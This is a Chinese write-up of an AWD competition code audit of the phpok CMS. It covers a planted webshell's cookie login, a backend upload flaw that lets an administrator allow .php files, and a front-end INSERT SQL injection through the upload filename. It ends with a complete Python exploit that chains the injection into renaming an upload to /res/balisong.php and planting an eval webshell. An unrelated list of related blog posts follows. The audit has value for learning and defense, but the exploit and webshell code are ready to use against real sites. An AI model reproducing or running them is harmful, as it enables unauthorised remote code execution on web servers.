今晚简单来看看那天比赛的源码吧,比赛的时候还是有些慌没有好好去静下心看代码。

awd给的题中的漏洞,都是那种可以快速让你利用拿到权限后得到flag的那种,特别复杂利用的一般没有。

建议先黑盒去尝试,例如前台上传,后台上传,等等,执行失败再来结合代码审计看看是否可以绕过利用。

所以审计中重点关注预留后门,注入,文件上传,命令/代码执行。

0x01 预留后门

没有太多套路和隐藏 就是明显的马

比较有意思的是第一个大马。

当时以为就是普通的$pass  = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel  输入密码即可 但是发现并不是

输入angel密码后把md5给我返回回来了 看看代码

  1. $pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel
  2. .........
  3.  
  4. ....
  5.  
  6. /* 身份验证 */
  7. if ($act == "logout") {
  8. scookie('loginpass', '', -86400 * 365);
  9. @header('Location: '.SELF);
  10. exit;
  11. }
  12. if($pass) {
  13. if ($act == 'login') {
  14. if ($pass == encode_pass($P['password'])) {
  15. scookie('loginpass',encode_pass($P['password']));
  16. @header('Location: '.SELF);
  17. exit;
  18. }
  19. }
  20. if (isset($_COOKIE['loginpass'])) {
  21. if ($_COOKIE['loginpass'] != $pass) {
  22. loginpage();
  23. }
  24. } else {
  25. loginpage();
  26. }
  27. }

这里$p是接收的post提交的数组

简单的来说就是 接收你输入的password密码,然后encode_pass加密赋值给pass变量,然后scookie函数给你设置cookie,loginpass=加密后你的密码 来看看加密的函数

简单的加密后返回md5,

看看scookie函数,这里明显修改后,

这里的setcookie是没有成功的 所以直接输入马是进不去 ,访问的时候必须带着cookie的loginpass字段,值为加密后的angle

0x02 后台任意文件上传getshell

都是admin  当时登录后第一时间是改了后台密码

分析:

漏洞文件:/framework/admin/rescate_control.php 第 53行

  1. public function save_f()
  2. {
  3. $id = $this->get('id','int');
  4. if(!$id){
  5. if(!$this->popedom['add']){
  6. $this->json(P_Lang('您没有权限执行此操作'));
  7. }
  8. }else{
  9. if(!$this->popedom['modify']){
  10. $this->json(P_Lang('您没有权限执行此操作'));
  11. }
  12. }
  13. $title = $this->get('title');
  14. if(!$title){
  15. $this->json(P_Lang('附件分类名称不能为空'));
  16. }
  17. $root = $this->get('root');
  18. if(!$root){
  19. $this->json(P_Lang('附件存储目录不能为空'));
  20. }
  21. if($root == '/'){
  22. $this->json(P_Lang('不支持使用/作为根目录'));
  23. }
  24. if(!preg_match("/[a-z0-9\_\/]+/",$root)){
  25. $this->json(P_Lang('文件夹不符合系统要求,只支持:小写字母、数字、下划线及斜杠'));
  26. }
  27. if(substr($root,0,1) == "/"){
  28. $root = substr($root,1);
  29. }
  30. if(!file_exists($this->dir_root.$root)){
  31. $this->lib('file')->make($this->dir_root.$root);
  32. }
  33. $filetypes = $this->get('filetypes');
  34. if(!$filetypes){
  35. $this->json(P_Lang('附件类型不能为空'));
  36. }
  37. $list_filetypes = explode(",",$filetypes);
  38. foreach($list_filetypes as $key=>$value){
  39. $value = trim($value);
  40. if(!$value){
  41. unset($list_filetypes[$key]);
  42. continue;
  43. }
  44. if(!preg_match("/[a-z0-9\_\.]+/",$value)){
  45. $this->json(P_Lang('附件类型设置不正确,仅限字母,数字及英文点符号'));
  46. }
  47. }
  48. $filetypes = implode(",",$list_filetypes);
  49. $typeinfo = $this->get('typeinfo');
  50. if(!$typeinfo){
  51. $this->json(P_Lang('附件类型说明不能为空'));
  52. }
  53. $maxinfo = str_replace(array('K','M','KB','MB','GB','G'),'',get_cfg_var('upload_max_filesize')) * 1024;
  54. $filemax = $this->get('filemax','int');
  55. if(!$filemax || ($filemax && $filemax>$maxinfo)){
  56. $filemax = $maxinfo;
  57. }
  58. $data = array('title'=>$title,'root'=>$root,'filetypes'=>$filetypes,'typeinfo'=>$typeinfo,'filemax'=>$filemax);
  59. $data['folder'] = $this->get('folder');
  60. $data['gdall'] = $this->get('gdall','int');
  61. if(!$data['gdall']){
  62. $gdtypes = $this->get('gdtypes');
  63. $data['gdtypes'] = $gdtypes ? implode(',',$gdtypes) : '';
  64. }else{
  65. $data['gdtypes'] = '';
  66. }
  67. $data['ico'] = $this->get('ico','int');
  68. $data['is_default'] = $this->get('is_default','int');
  69. $this->model('rescate')->save($data,$id);
  70. $this->json(true);
  71. }

这段代码是设置 可以上传的附件类型的代码

这里只判断附件类型是否为空,并没有限制后缀,导致可以自行添加php后缀,进而执行上传文件操作,获取网站shell。

在phpok 管理员后台,选择 工具 > 附件分类管理 编辑分类列表。在支持的附件类型: 中添加php

然后再内容管理>行业新闻 添加新的文章。在选择图片,资源管理器中上传新的附件。

0x03 前台getshell

比赛的时候源码是开放了前台的功能

在/framework/www/upload_control.php中第61行:

  1. private function upload_base($input_name='upfile',$cateid=0)
  2. {
  3. $rs = $this->lib('upload')->getfile($input_name,$cateid);
  4. if($rs["status"] != "ok"){
  5. return $rs;
  6. }
  7. $array = array();
  8. $array["cate_id"] = $rs['cate']['id'];
  9. $array["folder"] = $rs['folder'];
  10. $array["name"] = basename($rs['filename']);
  11. $array["ext"] = $rs['ext'];
  12. $array["filename"] = $rs['filename'];
  13. $array["addtime"] = $this->time;
  14. $array["title"] = $rs['title'];
  15. $array['session_id'] = $this->session->sessid();
  16. $array['user_id'] = $this->session->val('user_id');
  17. $arraylist = array("jpg","gif","png","jpeg");
  18. if(in_array($rs["ext"],$arraylist)){
  19. $img_ext = getimagesize($this->dir_root.$rs['filename']);
  20. $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
  21. $array["attr"] = serialize($my_ext);
  22. }
  23. $id = $this->model('res')->save($array);
  24. if(!$id){
  25. $this->lib('file')->rm($this->dir_root.$rs['filename']);
  26. return array('status'=>'error','error'=>P_Lang('图片存储失败'));
  27. }
  28. $this->model('res')->gd_update($id);
  29. $rs = $this->model('res')->get_one($id);
  30. $rs["status"] = "ok";
  31. return $rs;
  32. }

这是一个文件上传函数,然后在该函数开头又调用了getfile函数,跟进:

  1. public function getfile($input='upfile',$cateid=0)
  2. {
  3. if(!$input){
  4. return array('status'=>'error','content'=>P_Lang('未指定表单名称'));
  5. }
  6. $this->_cate($cateid);
  7. if(isset($_FILES[$input])){
  8. $rs = $this->_upload($input);
  9. }else{
  10. $rs = $this->_save($input);
  11. }
  12. if($rs['status'] != 'ok'){
  13. return $rs;
  14. }
  15. $rs['cate'] = $this->cate;
  16. return $rs;
  17. }

如果存在上传文件就调用_upload函数,继续跟进:

  1. private function _upload($input)
  2. {
  3. global $app;
  4. $basename = substr(md5(time().uniqid()),9,16);
  5. $chunk = $app->get('chunk','int');
  6. $chunks = $app->get('chunks','int');
  7. if(!$chunks){
  8. $chunks = 1;
  9. }
  10. $tmpname = $_FILES[$input]["name"];
  11. $tmpid = 'u_'.md5($tmpname);
  12. $ext = $this->file_ext($tmpname);
  13. $out_tmpfile = $this->dir_root.'data/cache/'.$tmpid.'_'.$chunk;
  14. if (!$out = @fopen($out_tmpfile.".parttmp", "wb")) {
  15. return array('status'=>'error','error'=>P_Lang('无法打开输出流'));
  16. }
  17. $error_id = $_FILES[$input]['error'] ? $_FILES[$input]['error'] : 0;
  18. if($error_id){
  19. return array('status'=>'error','error'=>$this->up_error[$error_id]);
  20. }
  21. if(!is_uploaded_file($_FILES[$input]['tmp_name'])){
  22. return array('status'=>'error','error'=>P_Lang('上传失败,临时文件无法写入'));
  23. }
  24. if(!$in = @fopen($_FILES[$input]["tmp_name"], "rb")) {
  25. return array('status'=>'error','error'=>P_Lang('无法打开输入流'));
  26. }
  27. while ($buff = fread($in, 4096)) {
  28. fwrite($out, $buff);
  29. }
  30. @fclose($out);
  31. @fclose($in);
  32. $app->lib('file')->mv($out_tmpfile.'.parttmp',$out_tmpfile.'.part');
  33. $index = 0;
  34. $done = true;
  35. for($index=0;$index<$chunks;$index++) {
  36. if (!file_exists($this->dir_root.'data/cache/'.$tmpid.'_'.$index.".part") ) {
  37. $done = false;
  38. break;
  39. }
  40. }
  41. if(!$done){
  42. return array('status'=>'error','error'=>'上传的文件异常');
  43. }
  44. $outfile = $this->folder.$basename.'.'.$ext;
  45. if(!$out = @fopen($this->dir_root.$outfile,"wb")) {
  46. return array('status'=>'error','error'=>P_Lang('无法打开输出流'));
  47. }
  48. if(flock($out,LOCK_EX)){
  49. for($index=0;$index<$chunks;$index++) {
  50. if (!$in = @fopen($this->dir_root.'data/cache/'.$tmpid.'_'.$index.'.part','rb')){
  51. break;
  52. }
  53. while ($buff = fread($in, 4096)) {
  54. fwrite($out, $buff);
  55. }
  56. @fclose($in);
  57. $GLOBALS['app']->lib('file')->rm($this->dir_root.'data/cache/'.$tmpid."_".$index.".part");
  58. }
  59. flock($out,LOCK_UN);
  60. }
  61. @fclose($out);
  62. $tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);
  63. $title = str_replace(".".$ext,'',$tmpname);
  64. return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');
  65. }

其中 $ext = $this->file_ext($tmpname);是检测文件后缀的,看一下:

  1. private function file_ext($tmpname)
  2. {
  3. $ext = pathinfo($tmpname,PATHINFO_EXTENSION);
  4. if(!$ext){
  5. return false;
  6. }
  7. $ext = strtolower($ext);
  8. $filetypes = "jpg,gif,png";
  9. if($this->cate && $this->cate['filetypes']){
  10. $filetypes .= ",".$this->cate['filetypes'];
  11. }
  12. if($this->file_type){
  13. $filetypes .= ",".$this->file_type;
  14. }
  15. $list = explode(",",$filetypes);
  16. $list = array_unique($list);
  17. if(!in_array($ext,$list)){
  18. return false;
  19. }
  20. return $ext;
  21. }

上传是比较严格的,只允许上传后缀是jpg,png,gif这种图片后缀的文件,上传我们无法绕过,但是程序对于上传的文件名没有充份的过滤,在函数末尾,将文件名添加到了返回的数组中:

  1.  
  1. $tmpname = $GLOBALS['app']->lib('string')->to_utf8($tmpname);
  2. $title = str_replace(".".$ext,'',$tmpname);
  3. return array('title'=>$title,'ext'=>$ext,'filename'=>$outfile,'folder'=>$this->folder,'status'=>'ok');
  4. }

这里的$tmpname就是我们上传的文件名,注意,不是上传后的文件名,而是上传前的文件名,并且没有对该文件名过滤,然后返回。

我们回到开头,upload_base函数中去:

  1. $rs = $this->lib('upload')->getfile($input_name,$cateid);
  2. if($rs["status"] != "ok"){
  3. return $rs;
  4. }
  5. $array = array();
  6. $array["cate_id"] = $rs['cate']['id'];
  7. $array["folder"] = $rs['folder'];
  8. $array["name"] = basename($rs['filename']);
  9. $array["ext"] = $rs['ext'];
  10. $array["filename"] = $rs['filename'];
  11. $array["addtime"] = $this->time;
  12. $array["title"] = $rs['title'];
  13. $array['session_id'] = $this->session->sessid();
  14. $array['user_id'] = $this->session->val('user_id');
  15. $arraylist = array("jpg","gif","png","jpeg");
  16. if(in_array($rs["ext"],$arraylist)){
  17. $img_ext = getimagesize($this->dir_root.$rs['filename']);
  18. $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
  19. $array["attr"] = serialize($my_ext);
  20. }
  21. $id = $this->model('res')->save($array);

可以看到这里将返回值中的title的值赋值给了$array[‘title’],这个值是我们可控的,然后将$array带入到了save函数中,我们看一下该函数:

在/framework/model/res.php中第279行:

  1. public function save($data,$id=0)
  2. {
  3. if(!$data || !is_array($data)){
  4. return false;
  5. }
  6. if($id){
  7. return $this->db->update_array($data,"res",array("id"=>$id));
  8. }else{
  9. return $this->db->insert_array($data,"res");
  10. }
  11. }

将$data带入到了insert_array函数中,我们看一下该函数:

/framework/engine/db/mysqli.php中第211行:

  1. public function insert_array($data,$tbl,$type="insert")
  2. {
  3. if(!$tbl || !$data || !is_array($data)){
  4. return false;
  5. }
  6. if(substr($tbl,0,strlen($this->prefix)) != $this->prefix){
  7. $tbl = $this->prefix.$tbl;
  8. }
  9. $type = strtolower($type);
  10. $sql = $type == 'insert' ? "INSERT" : "REPLACE";
  11. $sql.= " INTO ".$tbl." ";
  12. $sql_fields = array();
  13. $sql_val = array();
  14. foreach($data AS $key=>$value){
  15. $sql_fields[] = "`".$key."`";
  16. $sql_val[] = "'".$value."'";
  17. }
  18. $sql.= "(".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
  19. return $this->insert($sql);
  20. }

就是将该数组中的键值遍历出来,将键作为字段名,将值作为对应字段的值。可以看到,对于值是没有进行转义的,其中包括我们可以控制的title的值,那么这里就产生了一个insert的注入。那么这个注入我们有什么用呢?当然首先想到的是一个出数据,但是对于update 或者insert注入,一般来说我会想办法将这个注入升级一下危害。注意这个注入是一个insert注入,并且insert语句是可以一次插入多条内容的,我们不能控制当前这条insert语句的内容,我们可以控制下一条的内容,比如说像这样:
Insert into file values(1,2,3,),(4,5,6)

 

通过上文说到的,我们可以控制res表中的一行记录的值,那么这个filename也是我们可控的,那么我们如果将filename设置为/res/balisong.php。那么我上传的图片文件就会重新命名成/res/balisong.php。我们就达到了一个getshell的目的。

由于上传的文件名的特殊性。导致我们不能带有斜杠,那么怎么办呢?我们可以利用十六进制编码来绕过,具体的漏洞利用过程就不细说了,比较复杂,所以直接上exp:

来自先知社区

  1. #-*- coding:utf-8 -*-
  2. import requests
  3. import sys
  4. import re
  5. if len(sys.argv) < 2:
  6. print u"Usage: exp.py url [PHPSESSION]\r\nFor example:\r\n[0] exp.py http://localhost\r\n[1] exp.py http://localhost 6ogmgp727m0ivf6rnteeouuj02"
  7. exit()
  8. baseurl = sys.argv[1]
  9. phpses = sys.argv[2] if len(sys.argv) > 2 else ''
  10. cookies = {'PHPSESSION': phpses}
  11. if baseurl[-1] == '/':
  12. baseurl = baseurl[:-1]
  13. url = baseurl + '/index.php?c=upload&f=save'
  14. files = [
  15. ('upfile', ("1','r7ip15ijku7jeu1s1qqnvo9gj0','30',''),('1',0x7265732f3230313730352f32332f,0x393936396465336566326137643432352e6a7067,'',0x7265732f62616c69736f6e672e706870,'1495536080','2.jpg",
  16. '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')),
  17. ]
  18. files1 = [
  19. ('upfile',
  20. ('1.jpg', '<?php @eval($_POST[balisong]);phpinfo();?>', 'image/jpg')),
  21. ]
  22. r = requests.post(url, files=files, cookies=cookies)
  23. response = r.text
  24. id = re.search('"id":"(\d+)"', response, re.S).group(1)
  25. id = int(id) + 1
  26. url = baseurl + '/index.php?c=upload&f=replace&oldid=%d' % (id)
  27. r = requests.post(url, files=files1, cookies=cookies)
  28. shell = baseurl + '/res/balisong.php'
  29. response = requests.get(shell)
  30. if response.status_code == 200:
  31. print "congratulation:Your shell:\n%s\npassword:balisong" % (shell)
  32. else:
  33. print "oh!Maybe failed.Please check"

代码审计-四叶草杯线下awd比赛源码web2的更多相关文章

  1. 线下AWD平台搭建以及一些相关问题解决

    线下AWD平台搭建以及一些相关问题解决 一.前言 文章首发于tools,因为发现了一些新问题但是没法改,所以在博客进行补充. 因为很多人可能没有机会参加线下的AWD比赛,导致缺乏这方面经验,比如我参加 ...

  2. CTF线下awd攻防文件监控脚本

    CTF线下awd攻防赛中常用一个文件监控脚本来保护文件,但是就博主对于该脚本的审计分析 发现如下的问题: 1.记录文件的路径未修改导致log暴露原文件备份文件夹:drops_JWI96TY7ZKNMQ ...

  3. Windows 10 x64 下编译 Hadoop 源码

    Windows 10 x64 下编译 Hadoop 源码 环境准备 Hadoop并没有提供官方的 Windows 10 下的安装包,所以需要自己手动来编译,官方文档中 BUILDING.txt 文件中 ...

  4. Windows下编译live555源码

    Windos下编译live555源码 环境 Win7 64位 + VS2012 步骤 1)源码下载并解压 在官网上下载最新live555源码,并对其进行解压. 2)VS下建立工程项目 新建Win32项 ...

  5. ubuntu下编译VLC源码

    http://blog.csdn.net/beitiandijun/article/details/9225591ubuntu下编译VLC源码 分类: 视频处理 2013-07-02 17:33 57 ...

  6. Windows,linux下编译qt源码(比较简单)

    一.linux下静态编译qt源码 1.取到qt源码并解压到文件夹 2.cd到qt目录下 3.使用configure生成makefile ./configure–prefix /opt/qtstatic ...

  7. win10下通过编译源码方式在chrome中成功安装react-devtools开发工具插件

    win10下通过编译源码方式在chrome中成功安装react-devtools开发工具插件   1.去git上下载react-devtools文件到本地,https://github.com/fac ...

  8. 比特币学习笔记(二)---在windows下调试比特币源码

    根据我一贯的学习经验,学习开源代码的话,单单看是不够的,必须一边看一边调试才能尽快理解,所以我们要想法搭建windows下bitcoin源码的调试环境. 紧接着昨天的进度,想要调试linux下的比特币 ...

  9. linux下获取软件源码包 centos/redhat, debian/ubuntu

    linux下获取软件源码包 centos/redhat, debian/ubuntu centos下: 1. yum install yum-utils 主要为了获取yumdownloader 2. ...

随机推荐

  1. 记一次oracle新建用户及分配指定表权限的操作记录

    1.登录 2.创建用户create user new用户名 identified by new用户名创建new用户名用户,密码设置为new用户名. 3.授权new用户名用户的连接.资源权限.grant ...

  2. Delphi - 调用外部程序并阻塞到外部程序中

    Delphi 调用外部程序并阻塞到外部程序中 背景说明: 前段时间开发一个数据转换的系统,业务逻辑中说明数据需要压缩成.tar.gz格式. 我在Windows系统下采用,先生成批处理文件,然后调用Wi ...

  3. 生产环境轻量级dns服务器dnsmasq搭建文档

    dnsmasq搭建文档 一.生产环境域名解析问题 之前生产环境设备较少,是通过维护master(192.168.1.1)设备的hosts文件实现的.每次新增设备后,需要在master的hosts文件中 ...

  4. windows环境下搭建python虚拟环境及离线移植

    以python3.6为例 ①安装virtualenv: #pip安装之后在D:\Python36\Scripts目录下可以看到多了一个virtualenv.exe可执行文件pip install vi ...

  5. 提交第一个spark作业到集群运行

    写在前面 接触spark有一段时间了,但是一直都没有真正意义上的在集群上面跑自己编写的代码.今天在本地使用scala编写一个简单的WordCount程序.然后,打包提交到集群上面跑一下... 在本地使 ...

  6. Redis数据库安装与配置调试

    主要培养自我对Redis数据库安装能力, 并且进行个性化的数据库配置.掌握本实验的重点,即在于数据库的安装与启动参数的配置.同时,理解NOSQL数据库的体系结构. ①下载Redis安装包进行数据库平台 ...

  7. Maven 梳理 -多模块 vs 继承

    Maven提高篇系列之(一)——多模块 vs 继承   这是一个Maven提高篇的系列,包含有以下文章: Maven提高篇系列之(一)——多模块 vs 继承 Maven提高篇系列之(二)——配置Plu ...

  8. Spring 梳理-@Controller

    @Controller是一个构造性注解(stereotype),它基于@Component 在自动扫描中,组件扫描器会自动将@Controller申明的类注册为Spring应用上下文的一个bean 可 ...

  9. for for in 给已有的li绑定click事件生成新的li也有click事件

    想要给已有的li元素绑定一个click事件,点击生成新的li元素,并且新的li元素也要有click事件 //不能用for循环给每个li绑定click事件 因为这样的话 后面新生成的li就没有click ...

  10. IntelliJ IDEA 如何在同一个窗口创建多个项目--超详细教程

    一.IntelliJ IDEA与Eclipse的区别 二.在同一个窗口创建多个项目 1.打开IntelliJ IDEA,点击Create New Project 2.Java Enterprise-- ...